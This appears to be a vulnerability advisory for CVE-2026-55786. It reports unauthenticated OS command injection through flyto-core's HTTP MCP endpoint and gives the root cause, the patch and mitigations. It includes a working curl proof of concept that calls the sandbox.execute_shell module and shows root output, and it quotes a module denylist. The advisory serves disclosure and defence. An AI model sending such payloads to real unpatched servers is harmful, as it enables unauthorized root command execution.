high · 8.4CVE-2026-55786Jul 6, 2026

CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

flyto-core's HTTP MCP endpoint accepts JSON-RPC requests with no authentication check, letting any local process run arbitrary shell commands by calling the built-in sandbox.execute_shell module.

Packageflyto-core
Ecosystempip
Affected>= 2.26.2, < 2.26.4
Fixed in2.26.4

The problem

The FastAPI route POST /mcp in flyto-core (versions 2.26.2 through 2.26.3) is mounted unconditionally at startup and declared with no Depends(require_auth) guard. Any caller that can reach the port can send a JSON-RPC tools/call request targeting any registered module.

The built-in sandbox.execute_shell module reads a command field directly from attacker-supplied JSON and passes it to asyncio.create_subprocess_shell with shell=True and no sanitization. Dynamic reproduction confirmed execution as root. By default the server binds to 127.0.0.1 (local attack vector, CVSS 8.4), but operators who start with --host 0.0.0.0 expose it to the full network.

Proof of concept

A working proof-of-concept for CVE-2026-55786 in flyto-core, with the exact payload below.

bash
curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

# Observed response (no Authorization header required):
# {"jsonrpc":"2.0","id":1,"result":{"structuredContent":{"ok":true,"data":{"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","exit_code":0}},"isError":false}}

The root cause is two missing guards on the same route. First, mcp.py declares @router.post("") without dependencies=[Depends(require_auth)], unlike the analogous REST route at modules.py:93 which does enforce auth. Second, even if a module filter were applied, sandbox.execute_shell is not covered by _DEFAULT_DENYLIST = ["shell.*", "process.*"] because its module ID begins with sandbox., not shell. or process..

The patch adds Depends(require_auth) to both the POST /mcp and DELETE /mcp handlers, passes a module_filter to handle_jsonrpc_request, and widens the denylist entry to "sandbox.*" to close the naming gap. CWE-306 (Missing Authentication for Critical Function) and CWE-78 (OS Command Injection) both apply.

The fix

Upgrade to flyto-core 2.26.4. The fix adds Depends(require_auth) to the POST /mcp and DELETE /mcp route handlers, passes module_filter into handle_jsonrpc_request for those routes, and extends _DEFAULT_DENYLIST to include "sandbox.*". If an immediate upgrade is not possible, block external access to port 8333 at the network level and avoid starting the server with --host 0.0.0.0.

Reporter not attributed.

References: [1][2]

Related research